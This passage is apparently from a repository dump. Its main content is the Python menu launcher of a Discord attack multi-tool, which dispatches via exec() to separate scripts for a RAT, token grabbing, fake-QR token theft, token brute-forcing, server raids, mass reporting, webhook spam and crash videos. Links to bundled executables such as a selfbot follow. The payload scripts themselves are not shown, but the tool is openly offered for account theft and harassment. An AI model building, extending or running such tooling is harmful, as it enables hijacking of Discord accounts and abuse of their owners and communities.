{b}██{y}╔══╝ {b}██{y}║╚{b}██{y}╗{b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔══╝ {b}██{y}╔══{b}██{y}╗""") 176 | print(f""" {b}██{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}╗{b}███████{y}╗{b}██{y}║ ╚{b}████{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██████{y}╔╝{b}██████{y}╔╝{b}███████{y}╗{b}██{y}║ {b}██{y}║""") 177 | print(f""" ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝\n""") 178 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 179 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 180 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 181 | 182 | def webhookspamtitle(): 183 | print(f"""\n\n {b}██{y}╗ {b}██{y}╗{b}███████{y}╗{b}██████{y}╗ {b}██{y}╗ {b}██{y}╗ {b}██████{y}╗ {b}██████{y}╗{b} ██{y}╗ {b}██{y}╗ {b}███████{y}╗{b}██████{y}╗ {b}█████{y}╗ {b}███{y}╗ {b}███{y}╗""") 184 | print(f""" {b}██{y}║ {b}██{y}║{b}██{y}╔════╝{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║{b}██{y}╔═══{b}██{y}╗{b}██{y}╔═══{b}██{y}╗{b}██{y}║ {b}██{y}╔╝ {b}██{y}╔════╝{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}████{y}╗ {b}████{y}║""") 185 | print(f""" {b}██{y}║ {b}█{y}╗ {b}██{y}║{b}█████{y}╗ {b}██████{y}╔╝{b}███████{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}█████{y}╔╝ {b}███████{y}╗{b}██████{y}╔╝{b}███████{y}║{b}██{y}╔{b}████{y}╔{b}██{y}║""") 186 | print(f""" {b} ██{y}║{b}███{y}╗{b}██{y}║{b}██{y}╔══╝ {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║{b}██{y}╔═{b}██{y}╗ ╚════{b}██{y}║{b}██{y}╔═══╝ {b}██{y}╔══{b}██{y}║{b}██{y}║╚{b}██{y}╔╝{b}██{y}║""") 187 | print(f""" {y}╚{b}███{y}╔{b}███{y}╔╝{b}███████{y}╗{b}██████{y}╔╝{b}██{y}║ {b}██{y}║╚{b}██████{y}╔╝╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}╗ {b}███████{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}║ ╚═╝ {b}██{y}║""") 188 | print(f""" ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝\n""") 189 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 190 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 191 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 192 | 193 | def massreporttitle(): 194 | print(f"""\n\n {b}███{y}╗ {b}███{y}╗ {b}█████{y}╗ {b}███████{y}╗{b}███████{y}╗ {b}██████{y}╗ {b}███████{y}╗{b}██████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}████████{y}╗""") 195 | print(f""" {b} ████{y}╗ {b}████{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝{b}██{y}╔════╝ {b}██{y}╔══{b}██{y}╗{b}██{y}╔════╝{b}██{y}╔══{b}██{y}╗{b}██{y}╔═══{b}██{y}╗{b}██{y}╔══{b}██{y}╗╚══{b}██{y}╔══╝""") 196 | print(f""" {b}██{y}╔{b}████{y}╔{b}██{y}║{b}███████{y}║{b}███████{y}╗{b}███████{y}╗ {b}██████{y}╔╝{b}█████{y}╗ {b}██████{y}╔╝{b}██{y}║ {b}██{y}║{b}██████{y}╔╝ {b}██{y}║ """) 197 | print(f""" {b}██{y}║╚{b}██{y}╔╝{b}██{y}║{b}██{y}╔══{b}██{y}║╚════{b}██{y}║╚════{b}██{y}║ {b}██{y}╔══{b}██{y}╗{b}██{y}╔══╝ {b}██{y}╔═══╝ {b}██{y}║ {b}██{y}║{b}██{y}╔══{b}██{y}╗ {b}██{y}║ """) 198 | print(f""" {b} ██{y}║ ╚═╝ {b}██{y}║{b}██{y}║ {b}██{y}║{b}███████{y}║{b}███████{y}║ {b}██{y}║ {b}██{y}║{b}███████{y}╗{b}██{y}║ ╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}║ {b}██{y}║ """) 199 | print(f""" ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ \n""") 200 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 201 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 202 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 203 | 204 | def discordrattitle(): 205 | print(f"""\n\n {b}██████{y}╗ {b}██{y}╗{b}███████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}██████{y}╗ {b}█████{y}╗ {b}████████{y}╗""") 206 | print(f""" {b}██{y}╔══{b}██{y}╗{b}██{y}║{b}██{y}╔════╝{b}██{y}╔════╝{b}██{y}╔═══{b}██{y}╗{b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗ {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}╗╚══{b}██{y}╔══╝""") 207 | print(f""" {b}██{y}║ {b}██{y}║{b}██{y}║{b}███████{y}╗{b}██{y}║ {b}██{y}║ {b}██{y}║{b}██████{y}╔╝{b}██{y}║ {b}██{y}║ {b}██████{y}╔╝{b}███████{y}║ {b}██{y}║ """) 208 | print(f""" {b}██{y}║ {b}██{y}║{b}██{y}║╚════{b}██{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║{b}██{y}╔══{b}██{y}╗{b}██{y}║ {b}██{y}║ {b}██{y}╔══{b}██{y}╗{b}██{y}╔══{b}██{y}║ {b}██{y}║ """) 209 | print(f""" {b}██████{y}╔╝{b}██{y}║{b}███████{y}║╚{b}██████{y}╗╚{b}██████{y}╔╝{b}██{y}║ {b}██{y}║{b}██████{y}╔╝ {b}██{y}║ {b}██{y}║{b}██{y}║ {b}██{y}║ {b}██{y}║ """) 210 | print(f""" ╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ \n""") 211 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------""") 212 | print(f"""{w}ev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://astraadev.club/ {b}|{w} http://as""") 213 | print(f"""{y}------------------------------------------------------------------------------------------------------------------------\n""") 214 | 215 | def main(): 216 | os.system('cls') 217 | astraahometitle() 218 | print(f""" {y}[{b}+{y}]{w} Main Options: {y}[{b}+{y}]{w} Token Options: {y}[{b}+{y}]{w} Gen/Checker Options: {y}[{b}+{y}]{w} Basic Options:\n""") 219 | print(f""" {y}[{w}01{y}]{w} RAT Tool {y}[{w}06{y}]{w} Token Grabber {y}[{w}12{y}]{w} Nitro {y}[{w}14{y}]{w} HypeSquad Changer\n""") 220 | print(f""" {y}[{w}02{y}]{w} Raid Tool {y}[{w}07{y}]{w} FakeQrCode {y}[{w}13{y}]{w} Token {y}[{w}15{y}]{w} Cycle Color Theme\n""") 221 | print(f""" {y}[{w}03{y}]{w} VideoCrash Maker {y}[{w}08{y}]{w} Token BrutForce {y}[{w}16{y}]{w} WebHooks Remover\n""") 222 | print(f""" {y}[{w}04{y}]{w} Massive Report {y}[{w}09{y}]{w} Token Rape\n""") 223 | print(f""" {y}[{w}05{y}]{w} WebHooks Spam {y}[{w}10{y}]{w} Token Informations\n""") 224 | print(f""" {y}[{w}11{y}]{w} AutoLogin\n\n {y}[{b}>{y}]{w} Next Page""") 225 | global choice 226 | choice = input(f"""{y}[{b}#{y}]{w} Choice: """) 227 | 228 | if choice == '1' or choice == '01': 229 | os.system('cls') 230 | Spinner() 231 | os.system('cls') 232 | exec(open('Additional_File/1_Rat/rat.py').read()) 233 | 234 | elif choice == '2' or choice == '02': 235 | os.system('cls') 236 | Spinner() 237 | os.system('cls') 238 | script_name = 'Additional_File/2_Raid/raid.py' 239 | cmd_line = [sys.executable, script_name] 240 | subprocess.check_call(cmd_line) 241 | 242 | elif choice == '3' or choice == '03': 243 | os.system('cls') 244 | Spinner() 245 | os.system('cls') 246 | subprocess.call([r'Additional_File\\3_VidCrashMaker\\crashvideomaker.bat']) 247 | 248 | elif choice == '4' or choice == '04': 249 | os.system('cls') 250 | Spinner() 251 | os.system('cls') 252 | exec(open('Additional_File/4_MassReport/massreport.py').read()) 253 | 254 | elif choice == '5' or choice == '05': 255 | os.system('cls') 256 | Spinner() 257 | os.system('cls') 258 | exec(open('Additional_File/5_WebhookSpam/webhookspam.py').read()) 259 | 260 | elif choice == '6' or choice == '06': 261 | os.system('cls') 262 | Spinner() 263 | os.system('cls') 264 | exec(open('Additional_File/6_TokenGrab/tokengrabber.py').read()) 265 | 266 | elif choice == '7' or choice == '07': 267 | os.system('cls') 268 | Spinner() 269 | os.system('cls') 270 | exec(open('Additional_File/7_TokenFakeQr/fakeqr.py').read()) 271 | 272 | elif choice == '8' or choice == '08': 273 | os.system('cls') 274 | Spinner() 275 | os.system('cls') 276 | exec(open('Additional_File/8_TokenBrutForce/brutforcetoken.py').read()) 277 | 278 | elif choice == '9' or choice == '09': 279 | os.system('cls') 280 | Spinner() 281 | os.system('cls') 282 | exec(open('Additional_File/9_TokenRape/tokenrape.py').read()) 283 | 284 | elif choice == '10': 285 | os.system('cls') 286 | Spinner() 287 | os.system('cls') 288 | exec(open('Additional_File/10_TokenInfo/tokeninfo.py').read()) 289 | 290 | elif choice == '11': 291 | os.system('cls') 292 | Spinner() 293 | os.system('cls') 294 | exec(open('Additional_File/11_AutoLogin/autologin.py').read()) 295 | 296 | elif choice == '12': 297 | os.system('cls') 298 | Spinner() 299 | os.system('cls') 300 | exec(open('Additional_File/12_NitroGen/nitrogen.py').read()) 301 | 302 | elif choice == '13': 303 | os.system('cls') 304 | Spinner() 305 | os.system('cls') 306 | exec(open('Additional_File/13_TokenGen/tokengen.py').read()) 307 | 308 | elif choice == '14': 309 | os.system('cls') 310 | Spinner() 311 | os.system('cls') 312 | exec(open('Additional_File/14_HypeSquadChanger/hypesquadchanger.py').read()) 313 | 314 | elif choice == '15': 315 | os.system('cls') 316 | Spinner() 317 | os.system('cls') 318 | exec(open('Additional_File/15_CycleColorTheme/cyclecolortheme.py').read()) 319 | 320 | elif choice == '16': 321 | os.system('cls') 322 | Spinner() 323 | os.system('cls') 324 | exec(open('Additional_File/16_WebHooksRemover/webhooksremover.py').read()) 325 | 326 | elif choice == '>': 327 | os.system('cls') 328 | astraahometitle() 329 | print(f""" {y}[{b}+{y}]{w} Other Options:\n""") 330 | print(f""" {y}[{w}17{y}]{w} Credits\n""") 331 | print(f""" {y}[{w}18{y}]{w} Exit\n\n\n\n\n\n\n\n\n\n {y}[{b}<{y}]{w} Previous Page""") 332 | choice = input(f"""{y}[{b}#{y}]{w} Choice: """) 333 | 334 | if choice == '17': 335 | os.system('cls') 336 | Spinner() 337 | os.system('cls') 338 | astraahometitle() 339 | print(f""" {y}[{b}+{y}]{w} Development Networks:\n""") 340 | print(f""" {y}[{w}#{y}]{w} GitHub: @AstraaDev""") 341 | print(f""" {y}[{w}#{y}]{w} WebSite: astraadev.club""") 342 | print(f""" {y}[{w}#{y}]{w} Server: discord.gg/pUZrFnabvd\n\n""") 343 | print(f""" {y}[{b}+{y}]{w} Other Networks:\n""") 344 | print(f""" {y}[{w}#{y}]{w} Twitter: @AstraaDev""") 345 | print(f""" {y}[{w}#{y}]{w} Discord: Astraa#4589""") 346 | print(f""" {y}[{w}#{y}]{w} Insta: @astraaftn\n\n\n""") 347 | input(f"""{y}[{w}#{y}]{w} Press ENTER to exit""") 348 | sys.exit() 349 | elif choice == '18': 350 | os.system('cls') 351 | Spinner() 352 | os.system('cls') 353 | astraahometitle() 354 | print(f""" {y}[{b}❤{y}]{w} Have a good day :)""") 355 | print(f"""{Fore.LIGHTRED_EX } 356 | ,ad8PPPP88b, ,d88PPPP8ba, 357 | d8P" "Y8b, ,d8P" "Y8b 358 | dP' "8a8" `Yd 359 | 8( " )8 360 | I8 8I 361 | Yb, ,dP 362 | "8a, ,a8" 363 | "8a, ,a8" 364 | "Yba adP" 365 | `Y8a a8P' 366 | `88, ,88' 367 | "8b d8" 368 | "8b d8" 369 | `888'""") 370 | time.sleep(3) 371 | sys.exit() 372 | elif choice == '<': 373 | os.system('cls') 374 | main() 375 | else: 376 | os.system('cls') 377 | main() 378 | else: 379 | os.system('cls') 380 | main() 381 | 382 | main() 383 | -------------------------------------------------------------------------------- /utilities/other/crowntool/crowntool.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BitStore-dev/BitTool/a395a1a8bb2e958e0fa5c79bc0fbbbdfc5995606/utilities/other/crowntool/crowntool.exe -------------------------------------------------------------------------------- /utilities/selfbots/exeter/Images/Avatars/Transparent.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:675ea564b653ba26b5b3bb1b3b7c67fa39c4df5f842a831a637013efc27618ea 3 | size 234 4 | -------------------------------------------------------------------------------- /utilities/selfbots/exeter/logs/spring.log: -------------------------------------------------------------------------------- 1 | . -------------------------------------------------------------------------------- /utilities/selfbots/exeter/song.mp3: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:91296ced88069dfbe9298ba313bb112509aebd4edeaeaccb48e2833e0745deb0 3 | size 3363036 4 | -------------------------------------------------------------------------------- /utilities/selfbots/nighty/Nighty.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BitStore-dev/BitTool/a395a1a8bb2e958e0fa5c79bc0fbbbdfc5995606/utilities/selfbots/nighty/Nighty.exe -------------------------------------------------------------------------------- /utilities/selfbots/nighty/config.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utilities/selfbots/nighty/theme.json: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------